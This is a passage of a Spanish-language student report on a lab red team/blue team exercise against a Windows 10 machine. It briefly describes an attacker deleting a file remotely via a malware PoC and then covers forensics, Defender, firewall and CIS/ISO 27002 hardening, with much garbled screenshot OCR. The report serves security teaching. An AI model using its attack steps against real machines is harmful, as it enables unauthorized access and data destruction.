Inicio Compartir Wista o
= v A ‘ » Esteequipo » Descargas » v | B Buscar en Descargas
Cu Mombre Fecha de modificacién Tipo Tamafio
7 Acceso rdpide
Escritorio v Hoy (2)
4 Descargas [ PoC_1088602908 Aplicacion TKB
Eo b |=| Documento_prueba_Fase3 Decumento de te... OKB
5| ccumentos
=] Imégenes ~ Al principio de este afio (3)
lisi putty-64bit-0.78-installer aquete de Windo... 3.619
D Misica 54bit-0.78-install P le Wind 3619 KB
B videos ostinato-bin-win32-0.8 Carpeta comprimi.. 7135 KB

ostinato-bin-win32-0.8 Carpeta de archivos

@& OneDrive

[ Este equipo

; Descargas

Fuente: Autor.

Ahora desde la maquina Kali Linux listamos la carpeta descargas de la maquina
Windows.
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llustracion 28 Archivo prueba desde maquina Linux.

Type Last modified Name

fil

fil
fil
dir
fil
fil

Fuente: Autor.

Luego procedemos a eliminar el archivo con el comando rm
Documento_prueba_Fase3.txt y como pueden ver en la siguiente imagen el

archivo ha sido eliminado.

llustracion 29 Evidencia archivo eliminado.

Name

Fuente: Autor.

De esta manera el equipo RED TEAM identifica la vulnerabilidad y ejecuta la
técnica que el atacante utiliza para logar acceder al equipo Windows y alterar la

informacion que en este se tenia.
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7. ACCIONES EQUIPO BLUE TEAM

El equipo Blue Team ante las amenazas descubiertas por Red Team procede a
realizar un plan de accion y ejecutar las siguientes actividades con el fin de mitigar
la vulnerabilidad detectada y proceder a remediarla para mitigar el riesgo que se

vuelva a presentar un acceso no autorizado.

7.1. Analisis y respuesta ante el ciberataque

El equipo azul basados bajo el marco de referencia NIST realiza cinco funciones del
framework para lograr ejecutar y centralizar esfuerzos de manera oportuna, a
continuacion, relaciono la técnica utilizada por el equipo para lograr remediar y

fortalecer la infraestructura de la organizacion.
Funciones del marco NIST:

1. Identificar: Lograr comprender el riesgo de ciberseguridad que pudiese existir en
la organizacion, identificando los sistemas informaticos, los usuarios, los activos,
los datos, sistemas criticos, etc. Asi logra que la organizacion entienda los
recursos que respalden las operaciones criticas y los riesgos permitiendo que se

prioricen los esfuerzos segun las necesidades de la organizacion.

2. Proteger: Contar con las medidas de seguridad acordes que permitan garantizar

el servicio de manera oportuna.

3. Detectar: Contar con actividades de seguimiento que ayuden a identificar un

evento de ciberseguridad y obtener una reaccion oportuna.

4. Responder: Acciones para responder ante un incidente de ciberseguridad

detectado, mitigando la posibilidad de un incidente.
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5. Recuperar: Obtener de manera agil una respuesta oportuna que permitan una
recuperacion de las operaciones reduciendo el impacto de tener un incidente de

ciberseguridad.

7.2. Recomendaciones

Se recomienda a la organizacion revisar la posibilidad que la infraestructura
tecnologia se encuentre supervisada por un NOC el cual se encargara de
monitorear infraestructura y servicios que pudiesen estar en la nube y reportar al

administrador sobre los ataques que pudiesen estarse presentando.

El equipo azul también recomienda tener dentro de las soluciones de seguridad
contar con un SIEM, este nos permitira conocer los movimientos de los usuarios
dentro de una infraestructura, asi como también indicar cuando se presente alguna

amenaza para tomar accion de manera inmediata.

7.3. Desarrollo del equipo azul (Blue Team) y (Red Team)

7.3.1. Aislar el equipo que haya sido infectado para evitar su propagacion.

En este paso como miembro del equipo lo primero que se debe realizar es asegurar
que los equipos que se hayan identificado o se tenga sospecha de que se

encuentren infectados deben ser aislados de la red.
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llustracién 30 Desconecta equipo infectado de la red.

E " . = . % = 9:30 p. m.
e z“ H @ = M % «2C ATRY B g0y, [

Fuente: Autor.

7.3.2. Analizar los datos forenses

Teniendo presente que se esta analizando un equipo virtual en un entorno aislado
donde se identifica evidencias recolectado informacion de lo ocurrido en el que se
informo sobre el programa ejecutado por parte del usuario, se procede a verificar el

canal y medio utilizado para materializar la amenaza.

Se revisa el equipo y como primera medida verificar los controles que debe terne
implementado desde la linea base definida por el area Tl para la entrega de equipos

a produccion.

En este caso se identifica que el equipo tenia deshabilitado el firewall, no tiene
antivirus, y permitia la ejecucién de programas por parte del usuario sin contar con

los permisos de administrador.

De esta manera se puede identificar que la intrusion se pudo llevar a cabo debido a
la omision de los controles de seguridad que pudiesen tener definidos en la

organizacion o la falta de controles que permitié que se materializara el ataque.

También revisando el registro de eventos con el fin de identificar que pudo haber

ocurrido que permitiese la explotacion.

Revisamos los eventos ocurridos dentro de la maquina para determinar lo ocurrido.
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llustracién 31 Registro de eventos.
4] visor de eventos - X
Archive  Accién  Ver  Ayuda

Lk ARl ol 7 s

@ Visor de eventos (local) it € 3 Nuevos eventos disponibles Acciones
~ [ Vistas personalizadas

F Eventos administrativos Mivel Fechay hora Origen Id. del evento  Categoria del.. * Aplicacién -
~ [ Registros de Windows (1) Informacién 6/09/2023 %:32:16 p. m. Security-SPP 900 MNinguno = Abrirregistro guardad...
£ Aplicacién () Informacién 6/09/2023 %:31:53 p. m. WL 5617 Ninguno ¥ Crear vista personaliza...
& Segund.a‘d (i) Informacién 6/09/2023 %:31:53 p. m. Desktop Win... 9027 Ninguno Importsr vista personal...
=] Instalacién @\nfnrma{\n’n 6/09/2023 9:31:52 p. m. WMI 5615 Minguno
f# Sistema (i) Informacién 6/09/2023 %:31:49 p. m. User ProfileS... 1531 Minguno Vaciar registro...
i [E] Eventos reenviados @\nfurmamén 6/09/2023 %:31:25 p. m, User Profile 5. 1332 Ninguno T Filtrar registro actual...
O Registros de aplicaciones y s| f () informacin 6/00/2023 %:31:18 p. m. WM 5617 Ninguno [ Propiedades
=] Suscripciones (1) Informacién 6/09/2023 9:31:16 p. m. WM 5615 Ningune @ .
(i) Informacién 6/09/2023 9:31:16 p. m. User ProfileS... 1531 Minguno uscar
(i) Informacién 6/09/2023 %:21:16 p. m. EventSystem 4625 Ninguno Il Guardar todos los even..
1 Informacion 29/1 59 p. m. SecurityCenter Minguno Adjuntar tarea a este re...
@\nfurmamén 29/08/2023 9: m. SecurityCenter 13 Ninguno Ver »
@\nforma:\o’n 29/08/2023 9:46:38 p. m. SecurityCenter 13 Minguno 8
(1) Informacién 29/08/2023 9:46:36 p. m. SecurityCenter 13 Ninguno 9] Actualizar
(i) Informacién 29/08/2023 9:46:34 p. m. SecurityCenter 13 Ninguno Ayuda »
(i) Informacién 20/08/2023 5:46:27 p. m. SecurityCenter 15 Ninguno 5
[ TP im0 iann oA e e R ¥ | | Evento 15, SecurityCenter &
< >
[Z] Propiedades de evento
Evento 15, SecurityCenter xX @ Adjuntar tarea a este &
General Detalles I§2 Copiar 3
(o) i Guardar eventos selecc..,
Updated Windows Defender status successfully to SECURITY_PRODUCT_STATE_SNOQOZED. .
% |G Actualizar
MNombre de registro:  Aplicacién Ayuda 4
Origen: SecurityCenter Registrado: 25/08/2023 9:46:59 p. m.
Id. del 13 Categoria de tarea: Ninguno
Mivel: Informacién Palabras clave: Clasico
Usuario: Ne disponible Equipo: DESKTOP-00USLKT v
< >
. - - - . ~ 959 p. m.
8 O Buscar “ Hi e ] :  [E Ei:” 2Cc A D @) e 19/09/2023 %

Fuente: Autor.

Ahora utilizaremos la herramienta Autopsy la cual nos permitira revisar a fondo los
archivos, esta es un software de codigo abierto con la cual podremos realizar
operaciones forenses en el disco de windows 10 con el objetivo de encontrar

evidencias.

llustracién 32 Autopsy - Analisis forense.

Autopsy®

OPEN | EXTENSIBLE | FAST

Turning on modules...
—————

Fuente: Autor.
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llustracién 33 Resultado anélisis Autopsy.

M. Analisis equipo cliente windows - Autopsy 4.21.0 - >

Case View Tools Window Help

E:: Is'dd Data Source a Images/Videos li Communications 9 Geolocation E Timeline ¥ =" o- Keyword Lists Qr Keyword Search
Listin v
€ (o] 9
Al 923 Results
& Data Sources Tabl ;
& [®| File Views able RILSoGN]
Save Table as CSV
By Extension -
H * By MIME Type MName 5 ¢ O Modified Time Change Time Access Time Creat 4
By Deleted Files ¥ 10011892 html 0
¢ oy File System (0) ¥ f0012040_ARunRes_dll 0
Lon ANE23) .
- MB File Size ¥ 0012068 jove o
- MB 50 - 200MB (1) ¥ f0012072.bxt 0
- MB 200M8 - 1GE (2) ¥ F0012076_clustercompliance_DLL 0
- MB 1GE+ (0) ¥ F0012120_compres_dil 0
Bl Deta Aritacts ¥ F0012200_CryptoSetup_dl )
-4/> Metadata (3)
5.0 Anelysis Resuts ¥ 10012256_DIAGER_DLL 0
BN Keyword Hits (74) y"fOD‘\BE{d\agtrackrunneriaE 0
X Single Literal Keyword Search (0] | ¥ f0012540.xml 0
Single Regular Expression Search (0)| % 012552,¢rml o
Email Add 4]
N #- A Email resses (74) o 10012556 0
- g 05 Accounts
& Tags ¥ §0012560.0ml 0
2 ) Score ¥ £0012568.xml 0
Bad Items (0} < >
L% Suspicious ltems (11)
% Reports
Page: 1 of Page Go to Page: Script: | Latin - Basic v
<

W3
e -~ =N L AG@EBO e S B
Fuente: Autor.

H £ Buscar

Iw V
I

Con el analisis realizado confirmamos que la amenaza no fue detectada por la
herramienta, se procede a enviar un escaneo profundo con el sistema antivirus y

observar si encuentra alguna amenaza.
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llustracion 34 Escaneo Windows Defender.

Seguridad de Windows

Protecciéon contra virus
y amenazas Videos de la Comunidad Windows

Mas informacién sobre Proteccién
contra virus y amenazas

@ Inicio Proteccion para el dispositivo contra amenazas.

O Proteccién contra virus y amenazas

2 Proteccién de cuentas % Amenazas actuales ;Tienes alguna pregunta?
Obt L
() Firewall y proteccién de red Examen rapido en ejecucion... enerayuea
Tiempo restante estimado: 00:00:17
B Control de aplicaciones y explorador 7549 archivos examinados

JQuién me protege?

Seguridad del dispositivo Cancelar Administrar proveedores

Puedes seguir trabajando mientras examinamos e

=2
% Rendimiento y estado del dispositivo
& Ayudar a mejorar la sequridad de

Opciones de familia A
Historial de proteccién Windows

Envianos tus comentarios

. Configuracion de Proteccion

. Cambiar la configuracion de
contra virus Y amenazas

privacidad

No se reguiere ninguna accién. X .
Consulta y cambia la configuracion

de privacidad del dispositivo

Administrar la configuracién
Windows 10.

Configuracién de privacidad

~ Actualizaciones de proteccién Panel de privacidad

~ contra viruenazas
Fuente: Autor.

3] Configuracién Declaracion de privacidad

En este caso entendiendo que solo contamos con Windows defender se procede a

realizar el escaneo profundo con la herramienta.

7.3.3. Aplicar las remediaciones de manera inmediata.

Habilitar nuevamente los sistemas de seguridad de Windows 10 como lo son

Windows Defender y Firewall.

Establecer control de privilegios sobre el usuario, que no tenga permisos de
administrador y le permitiese ejecutar programas sin la autorizacién del personal

encargado.

Del analisis del trafico sobre el equipo, identificar a través del firewall las conexiones
que se pudiesen haber realizado en la fecha de la afectacion o anteriores con el
objetivo de detectar la IP origen desde la que se genero el ataque y bloquear el

acceso desde el firewall.
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Analizar el trafico en la red e identificar si existié alguna otra transferencia de

datos desde la IP del atacante.

Realizar un escaneo profundo del equipo con el fin de buscar alguna
infeccidn o determinar si este se encuentra libre de virus.

a) Ahora para comprobar que los controles son efectivos procederemos a
ejecutar de nuevo el malware en un entorno seguro y asi observar su
comportamiento.

De entrada, con el Windows defender vemos que identifica la amenaza y la
bloquea.

llustracion 35 Bloqueo de antivirus.

= Seguridad de Windows x

Proteccién contra virus y amenazas

Amenazas encontradas
Antivirus de Microsoft Defender encontro
amenazas. Obtener mas detalles.

Fuente: Autor.

Y si lo intentamos descargar, que fue el método usado contra el usuario

también generara la alerta que se trata de una amenaza.

llustracién 36 Bloqueo navegador.

"PoC_1098608909.exe.zip" esta infectado %
pOr un virus.

Este archivo podria dafiar tu ordenador, por lo que descargalo Gnicamente si
conoces los riesgos.

Fuente: Autor.
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Verificacion de conectividad entre el atacante y el equipo Windows donde
efectivamente aplicando las medidas de seguridad el atacante no puede visualizar

el equipo aun estando dentro de la misma red.

llustracion 37 Prueba de ping hacia maquina Windows.

a kali-linux-2023.1-virtualbox-amd64 [Corriendo] - Oracle VM VirtualBox
Archivo Entrada Dispositivos Ayuda

N EEPRO]|1 2 3 4]|c¢

Maquina Ver

File Actions Edit View Help

~

192.168.20.31
PING 192.168.20.31 (192.168.20.31) 56(84) bytes of data.

Fuente: Autor.
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8. ESTRATEGIAS EQUIPO AZUL (BLUE TEAM) PARA FORTALICER LA
SEGURIDAD DE LA INFORMACION EN LA ORGANIZACION

8.1. Acciones ejecutadas por Blue Team

Estas fueron las acciones ejecutadas por los miembros del Blue Team estableciendo

controles evitar incidentes como el ataque efectuado.

a) Analisis de trafico de red: La implementacion de un mecanismo de control IPS de
esta manera se genere un alertamiento sobre el monitoreo del transito de
informacion, su volumen de salida, el tamafio de la informacion si resulta ser
superior al normal, que permita identificar movimientos en momentos que los
equipos se encuentren inactivo o ingresos sospechosos que permitan efectuar

acciones en tiempo real evitando la materializacion de una amenaza.

También otro movimiento es que se observe un gran numero de paquetes que

puedan provenir de una unica direccion.

b) Monitoreo a través del agente antivirus que permita analizar la informacion que
recibe los dispositivos de computo, la actividad en el disco o archivos,
entendiendo que muchos de los ciberdelincuentes luego de lograr su intrusion
ejecutan actividades de escaneo buscando informacion como nombres y
contrasenas, esto permitira alertar a los administradores sobre sus maquinas y

actuar de manera temprana.

c) Alertamiento del antivirus, cuando se tiene un sistema antivirus este analiza y
filtra segun su base de firmas el ingreso de una posible amenaza como gusanos,
puertas traseras o troyanos que hayan sido detectados durante su ataque,
configurar la herramienta para que nos genere reportes de manera automatica

sobre el comportamiento de las maquinas.
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d) La implementacion de un mecanismo de seguridad perimetral (Firewall), este
mecanismo de proteccion nos permite identificar el numero de amenazas de las
cueles podriamos estar siendo atacados pero que gracias al Firewall son
bloqueadas inmediatamente, del mismo modo esta herramienta también nos

mantendria informado.

e) Endurecimiento del sistema operativo Windows 10, Para el desarrollo y
fortalecimiento del sistema operativo Windows nos basaremos en Benchmark
Microsoft Windows de CIS (Center for Internet Security) tomando varios de sus

controles para ser implementados dentro de la organizaciéon HackerHouse.

Lo primero que realizaremos sera que el usuario de windows nos de privilegios
de administrador, para lo cual crearemos una cuenta local a la que llamaremos
USERUNAR1.

llustracion 38 Cuenta de usuario sin contrasena - ANTES.

82, Cuentas de usuario

« « [3 8 « Cuentas deusuarie » Cuentas de usuario

Ventana principal del Panel de . . .
princie Realizar cambios en la cuenta de usuario

Realizar cambios en mi cuenta en Configuracién
) Cambiar el nombre de cuenta

&) Cambiar el tipo de cuenta

@ Administrar otra cuenta

L] Cambiar configuracién de Contrel de cuentas de
usuario

- _ = ) _ 753 pm,
O Buscar B @ w M @ 2C AT BH B ey B

Fuente: Autor.
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llustracién 39 Cuenta usuario con contrasefia — DESPUES.

&3) Cuentas de usuario

« v 4 a“ Cuentas de usuario » Cuentas de usuario v [7] Buscar en el Panel de control

Ventana principal del Panel de

control Realizar cambios en la cuenta de usuario

Administrar credenciales Realizar cambios en mi cuenta en
Configuracién

Crear un:ﬁlsco para restablecer USERUNAR1
contrasefia
) Cambiar el nombre de cuenta Cuenta local

G Configurar las propiedades . .
avanzadas del perfil de usuario G Cambiar el tipo de cuenta

Protegida por contrasefia

Cambiar las variables de

entorno
G Administrar otra cuenta

Cambiar configuracién de Control de cuentas de
usuarie

i® . © Escribe agui para buscar. d% 5 e = a 2] A~ @) P 13;3;2;“23 o
Fuente: Autor.

Adicional siguiendo las indicaciones de la CIS se configura para que la
contraseia creada para el usuario sea compleja cumpliendo los siguientes

criterios:

- Recordar un historial de Password de 24.

- Configurar contrasefa con una vigencia maxima de 3 meses.

- Contrasefia minima de 1 o mas dias.

- Lalongitud minima de la contrasefa sea de minimo 14 caracteres.

- Asegurar requisitos de complejidad asegurando que la contrasefia tenga

Mayusculas, minusculas, numeros y caracteres especiales.
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llustracién 40 Inicio de sesién seguro.

USERUNART

| 0..0........'

USERUNAR1

Tecno_Unad

Fuente: Autor.

Configurar el umbral de bloqueo el cual sera menor a 5 intentos, de esta
manera reducimos el numero de intentos que pudiese tener un ciberdelincuente

para descubrir la contrasena.

llustracion 41 Umbral de Bloqueo.

Propiedades: Umbral de bloqueo de cuenta T
Configurscion de seguridad local  Explicacién

-i! Umbral de blogueo de cuenta

La cuenta no se bloquears,

I = intentos de Inicko de seskin no valkios

Fuente: Autor.
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Asignacion de derechos de usuario, en este caso el usuario tuene un usuario

estandar el cual no le permitira realizar cambios en el sistema, para ello debera

contar con los permisos por parte del administrador.

llustracion 42 Cuenta Estdandar.

Cambiar el tipo de cuenta

Cambiar el tipo de cuenta

o Acceso
) -
‘ Cuenta local

Tipo de cuenta

Usuario estandar

Fuente: Autor.

Activacion de Firewall, de esta manera reducimos la superficie expuesta ante

un ataque hacia el equipo, no permite tener una defensa profunda ante la
probabilidad de un ataque.

llustracion 43Firewall activo.

@ Firewall de Windows Defender

=~ 4 @ « Sistemayseguridad » Firewall de Windows Defender v | @ | BuscarenelPaneldecontrol 0

. Ayuda a proteger tu PC con Firewall de Windows Defender
Ventana principal del Panel de
control Firewall de Windows Defender ayuda a impedir que hackers o software malintencionado obtengan
o acceso atu PC a través de Intemet o una red.
Permitir una aplicacién o una
caracteristica a través de

Firewall de Windows Defender . o Redes privadas Conectado ()

& Cambiar la confi énd , . ’
ambiar ;a configuracion ce Redes domésticas o del trabajo en cuyos usuarios y dispositivos confie
notificaciones

& Activar o desactivar Firewall de Estado de Firewall de Windows Defender: Activado
‘Windows Defender

© Restourar valores Conexiones entrantes: Bloquear todas las conexiones a aplicaciones que
o ! no estén en Ia lista de aplicaciones permitidas
predeterminados

X uy
) Configuracisn avanzada Redes privadas activas: & Red2

Solucién de problemas de red Estado de notificacién: Motificarme cuando Firewall de Windows

Defender bloguee una nueva aplicacion

. v Invitado o redes publicas No conectado ()

Consulta también
Seguridad y mantenimiento

Centro de redes y recursos
compartidos

) . = ﬁ - 257 p.m.
2 Escribe aqui para buscar. m = e - a =] o 21°C A B T di) EsP e

[S 13/09/2023 ]

Fuente: Autor.

48



Activacion de windows defender, sistema antivirus integrado con el sistema

operativo, cumpliendo las funciones de proteger el equipo ante amenazas como

virus o cualquier otro programa maligno.

llustracion 44 Windows defender activo.

Sequridad de Windows

@ Inicio

| O Proteccién contra virus y amenazas
R Proteccién de cuentas
&) Firewall y proteccién de red
B3 Control de aplicaciones y explorador
LBl Seguridad del dispositivo
% Rendimiento y estado del dispositivo
h

Opciones de familia

@ Configuracion

8 © Escribe aqui para buscar.

Luid 5 €

Configuracién de
% Proteccién contra virus
y amenazas

Visualiza y actualiza la configuracién de
Proteccién contra virus y amenazas para Antivirus
de Microsoft Defender

Proteccion en tiempo real

Localiza el malware e impide que se instale o
ejecute en el dispositivo. Puedes desactivar esta
opcion durante un breve periodo antes de que
vuelva a activarse automaticamente.

Q Activado

Proteccion basada en la nube

Proporciona una proteccién mayor y més rapida
con acceso a los datos de proteccion mas
recientes en la nube. Funciona mejor cuando el
envio automatico de muestras esta activado.

Q Activado

Envio automatico de muestras

n N RS

iTienes alguna pregunta?

Obtener ayuda

Ayudar a mejorar la seguridad de
Windows

Envfanos tus comentarios

Cambiar la configuracion de
privacidad

Consulta y cambia la configuracion
de privacidad del dispositivo
Windows 10.

Configuracién de privacidad
Panel de privacidad

Declaracién de privacidad

Espafiol (Méxica)
Teclade Latinoamericane

Para cambiar entre métodos de entrada, presione
la tecla Windows+Espacio.

. — 10:00 p. m.
2 A G R _ESP 300202

Fuente: Autor.

Habilitando configuracion contra ransomware, aprovechando los controles

que trae el sistema operativo se activa la proteccion frente amenazas de

ransomware de esta manera se protegera el acceso a carpetas que son

importantes.

El acceso controlado a carpetas ayuda a proteger los datos valiosos de

aplicaciones y amenazas malintencionadas, como ransomware. El acceso

controlado a carpetas protege los datos comprobando las aplicaciones con una

lista de aplicaciones conocidas de confianza. Compatible con Windows Server
2012 R2, Windows Server 2016, Windows Server 2019, Windows Server 2022,

Windows 10 y clientes Windows 11, el acceso controlado a carpetas se puede
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activar mediante la aplicacién Seguridad de Windows, Configuration Manager de

punto de conexion de Microsoft o Intune (para dispositivos administrados).?

llustracion 45 Proteccion ransomware activo.

Seguridad de Windows

@ Inicio

| O Proteccién contra virus y amenazas
Q Proteccién de cuentas
) Firewall y proteccién de red
3 Control de aplicaciones y explorador
L0 Seguridad del dispositivo
% Rendimiento v estado del dispositivo
&

Opcicnes de familia

@ Configuracion

Proteccién frente a
ransomware

Proteja sus archivos frente a amenazas como el
ransomware y vea cémo restaurar los archivos en
caso de ataque.

Acceso controlado a carpetas

Protege los archivos, las carpetas y las areas de
memoria del dispositivo contra medificaciones
no autorizadas de aplicaciones hostiles.

Q Activado

Historial de bloqueos
Carpetas protegidas

Permitir una aplicacién a través de Acceso
controlado a carpetas

Recuperacién de datos por
ransomware

En caso de ataque de ransomware, es posible
que puedas recuperar los archivos de estas
cuentas.

Configure OneDrive para ver las opciones de
recuperacion de archivos en caso de un atague

iTienes alguna pregunta?

Obtener ayuda

Ayudar a mejorar la seguridad de
Windows

Envianos tus comentarios

Cambiar la configuracion de
privacidad

Consulta y cambia la configuracién
de privacidad del dispositivo
Windows 10.

Configuracién de privacidad
Panel de privacidad

Declaracién de privacidad

R © Escribe aqui para buscar.

LA N @ n m B $ Jac Aspaw gEn O
Fuente: Autor.

Actualizar protecciéon contra amenazas, los sistemas deben siempre estar
actualizados, de esta manera remediamos las vulnerabilidades que pudiese tener

el sistema.

3 Proteger las carpetas importantes del ransomware contra el cifrado de los archivos con acceso controlado a
carpetas. (s.f.). Microsoft Learn: Build skills that open doors in your career. https://learn.microsoft.com/es-
es/microsoft-365/security/defender-endpoint/controlled-folders?view=0365-worldwide.
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llustracién 46Sistema de proteccion actualizado.

Seguridad de Windows — X

~ Actualizaciones de
= R ..

prOteCClOﬂ ;Tienes alguna pregunta?

r  Inicio Consulta informacion sobre la version de Qbtener ayuda

inteligencia de seguridad y busca actualizaciones.

| O Proteccién contra virus y amenazas
Ayudar a mejorar la seguridad de

8 Proteccién de cuentas Windows

Inteligencia de seguridad ) .
) Firewall y proteccién de red Envfanos tus comentarios

¥p Antivirus de Microsoft Defender usa la
o inteligencia de seguridad para detectar

B Control de aplicaciones y explorador

amenazas. Procuramos descargar " -

. . . Cambiar la configuracion de
S automaticamente la inteligencia mas reciente -

B Seguridad del dispositivo . o privacidad

para proteger el dispositivo contra las amenazas

mas recientes. También puedes buscar i6
@ Rendi y estado del di =CIen P! Consu_JIta.ycamb\a \.a mnf!guraoon

actualizaciones manualmente., de privacidad del dispositiva

. . Windows 10.
it EpEErEs Gl EE Versidon de inteligencia de seguridad: 1.397.911.0 , .
" -~ Configuracién de privacidad

Fecha de creacion de la version: 13/09/2023

11:09 a. m. Panel de privacidad

Ultima actualizacién: 13/09/2023 7:54 p.m. Declaracién de privacidad

" Buscando actualizaciones...
Cancelar

@ Configuracién
am " i T i it - - o & 10:02 p. m.
8 O Escribe aqui para buscar, -‘l{ma =h e " c 3 @ 21C A B Q) EsP 13/00/2023 L

Control de operaciones y controlador, de esta manera se protege el equipo de

Fuente: Autor.

aplicaciones y sitios potencialmente peligrosos.

llustracién 47 Control de aplicaciones.

Seguridad de Windows

Control de aplicaciones
y explorador

Videos de la Comunidad Windows

Mas informaci6n sobre Control de

Proteccion contra
vulnerabilidades de seguridad

La proteccién contra vulnerabilidades de
seguridad esta integrada en Windows 10 para
ayudar a proteger el dispositivo contra
ataques. El dispositivo tiene establecida la
configuracion de proteccién de fabrica que
funciona mejor para la mayoria de los usuarios.

Configuracién de proteccién contra vulnerabilidades
de seguridad

i Inicio Proteccién de aplicaciones y seguridad en linea. 5
aplicaciones y exploradores
o Proteccién contra virus y amenazas
Proteccion basada en )
R Proteccion de cuentas ., ;Tienes alguna pregunta?
reputacion
o . Obtener ayuda
I Firewall y proteccion de red Esta configuracién protege el dispositivo de
L aplicaciones, archivos y sitios web
| B Control de aplicaciones y exploradar malintencionados o potencialmente no Quie reqs?
deseados. ;Quién me protege?
8 Seguridad del dispositivo Admini proveedores
|Conﬁguracic’m de Proteccion basada en reputacién
% Rendimiento y estado del dispositivo
A G defaniE Ayudar a mejorar la seguridad de

Windows

Envianos tus comentarios

Cambiar la configuracion de
privacidad

Consulta y cambia la configuracién
de privacidad del dispositivo
Windows 10.

Configuracién de privacidad

Docal ol idod

Fuente: Autor.

Con las configuraciones aplicadas al equipo windows logramos que el sistema
operativo sea mas seguro, cuente con los controles de seguridad activos y
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mitigando el riesgo de sufrir alguna intrusion o falla del sistema provocado por un

programa maligno.

llustracion 48 Sistemas de proteccion activos.

= Seguridad de un vistazo
| & b Consulta lo que esté sucediendo con la seguridad y el estadc del
nicie dispositivo, y toma las medidas necasarias.
O Proteccién contra virus y amenazas
£ Proteccién de cuentas
() Firewall y proteccién de red Q %
B Control de aplicaciones y explorador Proteccian contra virus y Proteccion de cuentas
amenazas No se requiere ninguna accién.
8 Seguridad del dispositivo No se requiere ninguna accién,
@ y estado del di
Ak Opciones de familia (( 3
Firewall y proteccion de red Control de aplicaciones y
Mo se requiere ninguna acion, explorador
No se requiere ninguna accién.
& - Seguridad del dispositivo Rendimiento y estado del
Configuracién Ver el estado y administrar las dispositivo
caracteristicas de sequridad de Mo o e i i
- - . =n - - S . = 10:04 p. m.
@ O Escribe aqui para buscar. mua gi e [N ﬁ Lo N - ¢ AR EP e

Fuente: Autor.
Se definen las actualizaciones del sistema operativo, programarlas en un horario

en el cual el usuario no se vea interrumpido.

llustracion 49 Configuracién de actualizaciones del SO configuradas.

Configuracién
Papeler
recicl,

C

i

4
2 Opciones de actualizacion

Recibir actualizaciones para otros preductos de Microsoft al actualizar Windows

2] 0 Activado

Microd
=ikl Descargar actualizaciones a través de conexiones de uso medido (es posible que se apliquen cargos adicionales)

Q Activado

*Reinicia el dispositivo lo antes posible cuando se requiera un reinicio para instalar una actualizacion. Windows mostrarg
un aviso antes del reinicic y el dispositivo debe estar encendido y conectado.

Q Activado

Notificaciones de actualizacion

Mostrar una notificacién cuando el equipe requiere un reinicio para completar la actualizacion

0 Activado

Pausar actualizaciones

Pausar temporalmente las actualizaciones para que no se instalen en este dispositivo hasta 35 dfas. Cuando alcances el
limite de pausa, el dispositivo tendra que obtener nuevas actualizaciones antes de que puedas volver a hacer una pausa.

Pausar hasta

0 5 —~ 733 p.m.
S0 A GO B %)

| O Buscar h =i

€ - = o
Fuente: Autor.
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8.2. Controles CIS - politica de seguridad de la informacion.

Cabe resaltar que estas fueron algunas de las medidas tomadas para endurecer y
fortalecer el sistema operativo del equipo Windows, sin embargo, deben tomarse
otras medidas por parte la organizacion, resalto los controles CIS los cuales serviran
en la implementacion de mecanismos de seguridad no solo a nivel de maquina o de
red sino también a nivel organizacion y de estrategias de continuidad del negocio

permitiendo fortalecer a la organizacion.
Relaciono 5 controles que considero importantes deberia tener HackerHouse:

1. Configuracion segura de hardware y software, el cual pudimos ver se aplico
sobre el sistema operativo, pero este control debemos aplicarlo para todos

los sistemas de informacion y dispositivos de comunicacion.

2. configuracion segura de dispositivos de red como firewalls, enrutadores y
conmutadores.

3. Respuesta y gestion de incidentes, como lo podemos apreciar en el informe
es importante que la organizacién tenga definido el cdmo actuar ante una

amenaza como la que se presento con el equipo Windows.
4. Concientizacién sobre la seguridad, el ataque fue a través de un engano a
un usuario, esto significa que se debe reforzar la sensibilizaciéon y acciones

que deben realizar los usuarios en caso de estar frente a un posible ataque.

5. Monitoreo de cuentas.?

4 CIS. (s.f.). CIS Controls V8. https://www.cisecurity.org/.
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Teniendo en cuenta lo anterior, estos serian las politicas de seguridad que deberian
tener implementado HackerHouse para mitigar el riesgo de sufrir nuevamente un

ciberataque.

Basados en la norma ISO 27002 estas son las politicas de seguridad de la

informacion que se deben implementar en la empresa HackerHouse.

1. POLITICA DE SEGURIDAD DE LA INFORMACION

La organizacion HackerHouse debe contar con una politica de seguridad la cual
debe ser publicada y comprendida por todos los miembros que hagan parte de la
organizacion, incluso proveedores que se encuentren vinculado con la
organizacion y hagan parte del proceso de la empresa y mas si llegan a tener

acceso a informacion confidencial.

2. SEGURIDAD DE LOS RECURSOS HUMANOS

Es necesario que se tenga un proceso definido en la seleccidon del personal, que
este se capacite y entienda los controles, medidas, politicas y responsabilidades
que adquiere el empleado a la firma un contrato, se tengan los acuerdos de
confidencialidad y se brinden capacitaciones que permitan educar al empleado y

prepararlo ante cualquier tipo de ciberataque.

3. CONTROLES DE ACCESO

HackerHouse debe tener identificado el area o las areas responsables de otorgar
los accesos a las redes y sistemas de la organizacion, contar con medidas desde
el proceso se solicitud de usuario, modificacién o dada de baja, del mismo modo
establecer contrasefias que sean complejas y seguras, tener herramientas que

le permitan monitorear y auditar los procesos que son realizados por los usuarios.

4. CRIPTOGRAFIA
Contar con mecanismos que permitan garantizar la confidencialidad e integridad de
la informacion, para ello establecer medios de conexion segura utilizando VPN,

la informacion como backup y datos que sean considerados criticos y no deben
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ser expuestos se encuentren Cifrados, el envio de informacién confidencial sean
enviados de manera cifrada, con doble factor de autenticacion que garantice que

solo pueda ser visible por los destinatarios permitidos.

5. SEGURIDAD FISICA

HackerHouse dentro de sus politicas debe contar con un control de acceso a las
instalaciones, que solo pueda ingresar el personal autorizado, que se encuentre
con un CCTV (Circuito Cerrado de Television), el centro de datos debe estar
restringido a personal no autorizado, los puntos de datos solo deben estar
permitidos para los equipos de computo pertenecientes a la organizacién, control

de entrada y salida de activos de la organizacion.

6. SEGURIDAD EN LAS TELECOMUNIDACIONES
Controles en las redes de comunicacién, definir los canales y medios autorizados
para la transmision de informacion, definir el procedimiento para la transmision
de informacién, tener claro los mecanismos para la proteccién de la red perimetral

como el uso de firewall y la separacion de las redes.

7. SEGURIDAD DE LAS OPERACIONES
Hacker house cuente con los procedimientos documentados permitidos para la
realizacion de sus actividades, contar con los controles contra software malicioso,
tener definido linea base de seguridad de los equipos de computo antes de su
salidad a produccién, contar con las estrategias de respaldo de informacion que
garanticen que la informacion no se pierda, seguimiento y control sobre los
movimientos y transacciones que circulan por la red de Hackerhouse, tener

mecanismo de monitoreo como WAF, SIEM, DLP, IPS, etc.

